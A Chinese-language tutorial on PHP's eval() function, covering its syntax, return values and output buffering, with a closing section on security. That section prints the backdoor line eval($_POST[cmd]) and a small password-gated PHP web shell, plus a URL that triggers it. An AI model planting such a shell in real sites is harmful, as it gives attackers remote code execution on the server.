PHP中的eval函数是一个是否有用的函数,该函数功能十分强大。它的强大之处在于他可以将字符串当做php代码来执行。同样,也由于这个问 题,eval函数也经常被黑客使用。在Joomla核心代码中经常出现这个
函数,因此,在本节中,我们将详细的讨论一下这个函数的使用。
eval函数的定义和用法
功能
eval()函数把字符串按照PHP代码来计算。该字符串必须是合法的PHP代码,并且必须以分号结尾。总这,你要保证php代码能够解析他,就像你在php文件中使用一样。
语法
eval($strCode)
返回值
如果没有在代码中调用return语句,则返回NULL,如果代码中存在解析错误,则eval()函数返回false.
代码示范:
示范代码(eval的基本使用)
<?php $strTest="ZMAX99"; $strCode ="\$strTest='Hello World';echo \$strTest;"; $result = eval($strCode);
echo $strTest;
?>
输出的结果:Hello WorldHello World
说明:上面首先给$strTest变量进行赋值,然后在$strCode中对该变量进行重新赋值.最后调用eval来执行。程序输出两次Hello World。一次是eval执行输出的。一次是正常的echo输出的。
通过上面的代码,我们可以发现要在$strCode中使用变量,我们需要对 $进行转义。另外,强调一下$strcode中的两个分号,这个是必须的。PHP代码需要由分号指明结束。
需要说明一点的是,$strTest的值在eval中被改变了。如果在$strCode中定义的变量,那个变量的生命期为php程序的结束!
控制eval的输出
eval函数对存储在数据库文本字段中供日后计算的文本域很有用。
当$strCode中的代码不能被PHP解析的时候,系统会停止执行。这是十分不友好的。那么我们该如何对该函数的输出进行控制呢?为了防止程序直接将结果输出到浏览器,可以使用输出控制函数来捕获此函数的输出,并且把他们保存到一个字符串类型的变量中。下面提供一段实例代码:
<?php // eval 执行一段php代码 $strTest="My Test"; $strCode ="\$strTest='Hello World';echo \$strTest"; // Append a return true to php-code to check on errors // Send any output to buffer ob_start(); //Do eval() $check = eval($strCode); $output = ob_get_contents(); ob_end_clean(); //Send output or report errors if($check === false) { echo "解析错误!"; echo $output; } else { //Manually parse output for errors and generate usable information for the user_error //especially content of error-lines echo "解析ok!"; echo $output."<br/>"; } ?>
通过对eval的执行结果进行判断,然后我们来决定是否输出。
关于eval函数的安全问题
eval命令来源于linux bash shell中的eval命令。如果被换人掌握了,可以把eval命令用于PHP的后门程序。如下:
eval($_POST[cmd])
这段代码可以执行用户提交的任何cmd命令。
下面代码是一个小型的PHP后门程序
<?php $passwd="admin";if($_GET['pwd']!=$passwd)exit; if($_GET['action']=="eval" && $_GET['a']){eval($_GET['a']);} ?>
只需要在浏览器中访问下面的地址http://url/test.php?pwd=admin&action=eval&a=phpinfo();你的服务器的php配置信息就暴露无遗了。
如何禁用eval函数
PHP的eval函数并不是系统组件函数,因此我们在php.ini中使用disable_functions是无法禁止它的。那么如何禁用呢?普通的方法没办法做到,只有安装插件。当然,在一些cms中是依赖eval的,比喻joomla系统,如果你禁用了eval函数,那么系统根本不能运行。